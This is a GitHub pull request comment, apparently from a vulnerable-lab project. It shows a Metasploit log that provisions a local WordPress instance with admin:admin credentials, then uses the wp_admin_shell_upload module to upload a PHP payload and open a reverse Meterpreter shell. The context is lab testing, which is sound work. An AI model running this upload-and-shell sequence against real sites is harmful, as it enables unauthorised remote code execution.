msf exploit(unix/webapp/wp_admin_shell_upload) > curl -L -s -o /dev/null \
 >   -d "language=en_US" \
 >   "http://127.0.0.1:49158/wp-admin/install.php?step=1"
[*] exec: curl -L -s -o /dev/null   -d "language=en_US"   "http://127.0.0.1:49158/wp-admin/install.php?step=1"

msf exploit(unix/webapp/wp_admin_shell_upload) > curl -L -s -o /dev/null \
 >   -d "weblog_title=TestBlog" \
 >   -d "user_name=admin" \
 >   -d "admin_password=admin" \
 >   -d "admin_password2=admin" \
 >   -d "admin_email=admin@example.com" \
 >   -d "blog_public=1" \
 >   -d "Submit=Install WordPress" \
 >   "http://127.0.0.1:49158/wp-admin/install.php?step=2"
[*] exec: curl -L -s -o /dev/null   -d "weblog_title=TestBlog"   -d "user_name=admin"   -d "admin_password=admin"   -d "admin_password2=admin"   -d "admin_email=admin@example.com"   -d "blog_public=1"   -d "Submit=Install WordPress"   "http://127.0.0.1:49158/wp-admin/install.php?step=2"
msf exploit(unix/webapp/wp_admin_shell_upload) > check
[+] 127.0.0.1:49158 - The target appears to be vulnerable. The target appears to be vulnerable
msf exploit(unix/webapp/wp_admin_shell_upload) > run
[*] Started reverse TCP handler on 172.21.176.212:4444
[*] Authenticating with WordPress using admin:admin...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/WmPDneQsbe/igRpLxLhOd.php...
[*] Sending stage (45739 bytes) to 172.21.176.212
[+] Deleted igRpLxLhOd.php
[+] Deleted WmPDneQsbe.php
[+] Deleted ../WmPDneQsbe
[*] Meterpreter session 1 opened (172.21.176.212:4444 -> 172.21.176.212:35318) at 2026-07-29 22:18:45 +0300

meterpreter >

NOTE: updated to provision automatically

@Nayeraneru
Nayeraneru merged commit 41578c6 into vulnenv Aug 1, 2026
76 of 77 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants